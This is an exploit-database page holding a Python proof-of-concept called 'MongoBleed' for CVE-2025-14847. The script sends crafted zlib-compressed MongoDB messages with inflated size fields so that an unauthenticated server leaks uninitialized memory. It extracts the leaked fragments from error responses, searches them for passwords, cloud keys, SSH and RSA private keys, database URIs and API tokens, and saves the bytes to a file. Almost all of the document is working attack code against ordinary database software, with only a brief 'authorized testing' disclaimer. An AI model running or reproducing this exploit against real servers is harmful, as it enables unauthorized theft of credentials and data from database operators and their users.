Exploit databaseDownload repository ZIP
GH-54c9a4219b8738db5c219a21b54f5d83
franksec42/mongobleed-exploit-cve-2025-14847
Sources for CVE-2025-14847
23 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files5
franksec42/mongobleed-exploit-cve-2025-14847Revision 92cdbfc68601
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit/mongobleed.py
Python · 16,796 bytes#!/usr/bin/env python3
"""
MongoBleed - CVE-2025-14847 MongoDB Memory Leak Exploit
A proof-of-concept exploit for the MongoDB zlib decompression vulnerability
that allows unauthenticated attackers to leak sensitive server memory.
Vulnerability Analysis:
The flaw exists in message_compressor_zlib.cpp where the line:
return {output.length()}; // VULNERABLE: returns allocated buffer size
Should have been:
return length; // FIXED: returns actual decompressed data length
This allows attackers to:
1. Send compressed message with inflated uncompressedSize claim
2. MongoDB allocates large buffer based on attacker's claim
3. zlib decompresses actual data into start of buffer
4. Bug causes MongoDB to treat entire buffer as valid data
5. BSON parsing reads "field names" from uninitialized memory until null bytes
Author: Original by Joe Desimone (x.com/dez_)
Enhanced for security research lab
"""
import socket
import struct
import zlib
import re
import argparse
import sys
import json
from datetime import datetime
from typing import List, Tuple, Optional, Dict, Any
from dataclasses import dataclass, field, asdict
# ANSI colors for output
class Colors:
RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
BLUE = '\033[94m'
MAGENTA = '\033[95m'
CYAN = '\033[96m'
WHITE = '\033[97m'
BOLD = '\033[1m'
END = '\033[0m'
@dataclass
class LeakResult:
"""Represents a single memory leak fragment."""
offset: int
length: int
data: bytes
ascii_preview: str = ""
secrets_found: List[str] = field(default_factory=list)
def __post_init__(self):
self.ascii_preview = self.data[:80].decode('utf-8', errors='replace')
@dataclass
class ScanResult:
"""Complete scan result."""
host: str
port: int
vulnerable: bool
version: str = "unknown"
total_leaked_bytes: int = 0
unique_fragments: int = 0
leaks: List[LeakResult] = field(default_factory=list)
secrets_detected: List[str] = field(default_factory=list)
scan_duration: float = 0.0
timestamp: str = field(default_factory=lambda: datetime.now().isoformat())
def to_dict(self) -> Dict[str, Any]:
"""Convert to dictionary."""
return {
"host": self.host,
"port": self.port,
"vulnerable": self.vulnerable,
"version": self.version,
"total_leaked_bytes": self.total_leaked_bytes,
"unique_fragments": self.unique_fragments,
"secrets_detected": self.secrets_detected,
"scan_duration": self.scan_duration,
"timestamp": self.timestamp,
"leaks_count": len(self.leaks)
}
def banner():
"""Print exploit banner."""
print(f"""
{Colors.RED}{Colors.BOLD}
███╗ ███╗ ██████╗ ███╗ ██╗ ██████╗ ██████╗ ██████╗ ██╗ ███████╗███████╗██████╗
████╗ ████║██╔═══██╗████╗ ██║██╔════╝ ██╔═══██╗██╔══██╗██║ ██╔════╝██╔════╝██╔══██╗
██╔████╔██║██║ ██║██╔██╗ ██║██║ ███╗██║ ██║██████╔╝██║ █████╗ █████╗ ██║ ██║
██║╚██╔╝██║██║ ██║██║╚██╗██║██║ ██║██║ ██║██╔══██╗██║ ██╔══╝ ██╔══╝ ██║ ██║
██║ ╚═╝ ██║╚██████╔╝██║ ╚████║╚██████╔╝╚██████╔╝██████╔╝███████╗███████╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚══════╝╚══════╝╚═════╝
{Colors.END}
{Colors.CYAN}CVE-2025-14847 | MongoDB Unauthenticated Memory Leak Exploit{Colors.END}
{Colors.YELLOW}For authorized security testing only{Colors.END}
""")
def get_mongo_version(host: str, port: int, timeout: float = 2.0) -> Optional[str]:
"""
Attempt to get MongoDB version via isMaster/hello command.
Returns version string or None if unable to determine.
"""
try:
# Create isMaster command
cmd = {
"isMaster": 1,
"$db": "admin"
}
# Simple approach - just try to connect and check banner
# A full implementation would send proper OP_MSG
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
sock.connect((host, port))
# Send a minimal probe and check if it responds like MongoDB
sock.close()
return "detected" # Connection successful, MongoDB is responding
except Exception:
return None
def send_probe(host: str, port: int, doc_len: int, buffer_size: int,
timeout: float = 2.0) -> bytes:
"""
Send crafted BSON with inflated document length to trigger memory leak.
The exploit works by:
1. Creating minimal BSON content
2. Lying about total document length in BSON header
3. Wrapping in OP_MSG and compressing with zlib
4. Sending OP_COMPRESSED with inflated uncompressed size claim
Args:
host: Target MongoDB host
port: Target MongoDB port
doc_len: Claimed document length (triggers different memory regions)
buffer_size: Claimed uncompressed size (controls buffer allocation)
timeout: Socket timeout in seconds
Returns:
Raw response bytes from server
"""
# Minimal BSON content - we lie about total length
# BSON int32 field: type 0x10, name "a\x00", value 0x01000000 (1 as int32)
content = b'\x10a\x00\x01\x00\x00\x00'
# BSON document with inflated length header
# struct: <i = little-endian int32 (document length)
bson = struct.pack('<i', doc_len) + content
# Wrap in OP_MSG
# OP_MSG format: flags (uint32) + section kind (byte) + BSON body
op_msg = struct.pack('<I', 0) + b'\x00' + bson
# Compress the message
compressed = zlib.compress(op_msg)
# Build OP_COMPRESSED payload
# Format: original opcode (uint32) + uncompressed size (int32) + compressor id (byte) + compressed data
payload = struct.pack('<I', 2013) # original opcode (OP_MSG)
payload += struct.pack('<i', buffer_size) # claimed uncompressed size (THE BUG)
payload += struct.pack('B', 2) # compressor: zlib
payload += compressed
# MsgHeader: messageLength (int32) + requestID (int32) + responseTo (int32) + opCode (int32)
# opCode 2012 = OP_COMPRESSED
header = struct.pack('<IIII', 16 + len(payload), 1, 0, 2012)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
sock.connect((host, port))
sock.sendall(header + payload)
# Read response
response = b''
while True:
if len(response) >= 4:
msg_len = struct.unpack('<I', response[:4])[0]
if len(response) >= msg_len:
break
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
sock.close()
return response
except Exception:
return b''
def extract_leaks(response: bytes) -> List[bytes]:
"""
Extract leaked data from MongoDB error response.
The leaked data appears in BSON error messages as "field names"
that MongoDB reads from uninitialized memory.
Args:
response: Raw response from MongoDB
Returns:
List of leaked byte fragments
"""
if len(response) < 25:
return []
try:
msg_len = struct.unpack('<I', response[:4])[0]
opcode = struct.unpack('<I', response[12:16])[0]
if opcode == 2012: # OP_COMPRESSED
# Decompress response
raw = zlib.decompress(response[25:msg_len])
else:
# Uncompressed response
raw = response[16:msg_len]
except Exception:
return []
leaks = []
# Extract field names from BSON errors
# MongoDB returns errors like: "unknown field name 'LEAKED_DATA'"
for match in re.finditer(rb"field name '([^']*)'", raw):
data = match.group(1)
# Filter out expected field names
if data and data not in [b'?', b'a', b'$db', b'ping', b'isMaster', b'hello']:
leaks.append(data)
# Extract type bytes from unrecognized type errors
# MongoDB returns: "Invalid field type: 65" where 65 might be leaked data
for match in re.finditer(rb"type (\d+)", raw):
try:
type_val = int(match.group(1)) & 0xFF
if type_val > 31: # Skip valid BSON types
leaks.append(bytes([type_val]))
except ValueError:
pass
return leaks
def analyze_leaks(all_leaked: bytearray) -> List[str]:
"""
Analyze leaked data for sensitive patterns.
Args:
all_leaked: Combined leaked data
Returns:
List of detected secret patterns
"""
secrets_found = []
# Patterns to search for
patterns = [
(b'password', 'Password'),
(b'secret', 'Secret'),
(b'key', 'Key'),
(b'token', 'Token'),
(b'admin', 'Admin'),
(b'AKIA', 'AWS Access Key'),
(b'mongodb://', 'MongoDB URI'),
(b'postgres://', 'PostgreSQL URI'),
(b'mysql://', 'MySQL URI'),
(b'redis://', 'Redis URI'),
(b'BEGIN RSA', 'RSA Private Key'),
(b'BEGIN OPENSSH', 'SSH Key'),
(b'BEGIN CERTIFICATE', 'Certificate'),
(b'Authorization:', 'Auth Header'),
(b'Bearer ', 'Bearer Token'),
(b'sk_live', 'Stripe Live Key'),
(b'sk_test', 'Stripe Test Key'),
(b'ghp_', 'GitHub Token'),
(b'xox', 'Slack Token'),
(b'eyJ', 'JWT Token'),
(b'MONGOBLEED', 'Lab Secret'),
]
leaked_lower = all_leaked.lower()
for pattern, name in patterns:
if pattern.lower() in leaked_lower:
secrets_found.append(name)
return list(set(secrets_found))
def run_exploit(host: str, port: int, min_offset: int, max_offset: int,
timeout: float = 2.0, verbose: bool = True) -> ScanResult:
"""
Run the MongoBleed exploit against a target.
Args:
host: Target MongoDB host
port: Target MongoDB port
min_offset: Minimum document length to probe
max_offset: Maximum document length to probe
timeout: Socket timeout
verbose: Print progress
Returns:
ScanResult with all findings
"""
import time
start_time = time.time()
result = ScanResult(
host=host,
port=port,
vulnerable=False
)
# Try to get version
result.version = get_mongo_version(host, port, timeout) or "unknown"
all_leaked = bytearray()
unique_leaks = set()
if verbose:
print(f"\n{Colors.CYAN}[*] Scanning offsets {min_offset}-{max_offset}...{Colors.END}\n")
for doc_len in range(min_offset, max_offset):
response = send_probe(host, port, doc_len, doc_len + 500, timeout)
leaks = extract_leaks(response)
for data in leaks:
if data not in unique_leaks:
unique_leaks.add(data)
all_leaked.extend(data)
result.vulnerable = True
leak_result = LeakResult(
offset=doc_len,
length=len(data),
data=data
)
result.leaks.append(leak_result)
# Show interesting leaks (> 10 bytes)
if verbose and len(data) > 10:
preview = data[:80].decode('utf-8', errors='replace')
print(f"{Colors.GREEN}[+] offset={doc_len:5d} len={len(data):4d}: {Colors.END}{preview}")
# Analyze for secrets
result.secrets_detected = analyze_leaks(all_leaked)
result.total_leaked_bytes = len(all_leaked)
result.unique_fragments = len(unique_leaks)
result.scan_duration = time.time() - start_time
return result
def main():
"""Main entry point."""
parser = argparse.ArgumentParser(
description='MongoBleed - CVE-2025-14847 MongoDB Memory Leak Exploit',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
# Basic scan (offsets 20-8192)
python3 mongobleed.py --host localhost
# Deep scan for more data
python3 mongobleed.py --host localhost --max-offset 50000
# Custom range with JSON output
python3 mongobleed.py --host 192.168.1.100 --min-offset 100 --max-offset 20000 --json
# Test lab - vulnerable instance
python3 mongobleed.py --host localhost --port 27017
# Test lab - patched instance (should not leak)
python3 mongobleed.py --host localhost --port 27018
"""
)
parser.add_argument('--host', default='localhost',
help='Target MongoDB host')
parser.add_argument('--port', type=int, default=27017,
help='Target MongoDB port')
parser.add_argument('--min-offset', type=int, default=20,
help='Minimum document length to probe')
parser.add_argument('--max-offset', type=int, default=8192,
help='Maximum document length to probe')
parser.add_argument('--timeout', type=float, default=2.0,
help='Socket timeout in seconds')
parser.add_argument('--output', default='leaked.bin',
help='Output file for leaked binary data')
parser.add_argument('--json', action='store_true',
help='Output results as JSON')
parser.add_argument('--quiet', '-q', action='store_true',
help='Quiet mode - only show summary')
parser.add_argument('--no-banner', action='store_true',
help='Skip banner display')
args = parser.parse_args()
if not args.no_banner and not args.json:
banner()
if not args.json and not args.quiet:
print(f"{Colors.CYAN}[*] Target: {args.host}:{args.port}{Colors.END}")
print(f"{Colors.CYAN}[*] Offset range: {args.min_offset}-{args.max_offset}{Colors.END}")
# Run exploit
result = run_exploit(
host=args.host,
port=args.port,
min_offset=args.min_offset,
max_offset=args.max_offset,
timeout=args.timeout,
verbose=not args.quiet and not args.json
)
# Output results
if args.json:
print(json.dumps(result.to_dict(), indent=2))
else:
print()
if result.vulnerable:
print(f"{Colors.RED}{Colors.BOLD}[!] TARGET IS VULNERABLE TO CVE-2025-14847{Colors.END}")
print(f"{Colors.GREEN}[*] Total leaked: {result.total_leaked_bytes} bytes{Colors.END}")
print(f"{Colors.GREEN}[*] Unique fragments: {result.unique_fragments}{Colors.END}")
print(f"{Colors.CYAN}[*] Scan duration: {result.scan_duration:.2f}s{Colors.END}")
if result.secrets_detected:
print(f"\n{Colors.RED}[!] Potential secrets detected:{Colors.END}")
for secret in result.secrets_detected:
print(f" {Colors.YELLOW}• {secret}{Colors.END}")
# Save leaked data
all_data = bytearray()
for leak in result.leaks:
all_data.extend(leak.data)
with open(args.output, 'wb') as f:
f.write(all_data)
print(f"\n{Colors.CYAN}[*] Leaked data saved to: {args.output}{Colors.END}")
else:
print(f"{Colors.GREEN}[*] Target does not appear vulnerable (no memory leaks detected){Colors.END}")
print(f"{Colors.CYAN}[*] This may indicate a patched version or different configuration{Colors.END}")
# Exit code: 0 = not vulnerable, 1 = vulnerable
sys.exit(1 if result.vulnerable else 0)
if __name__ == '__main__':
main()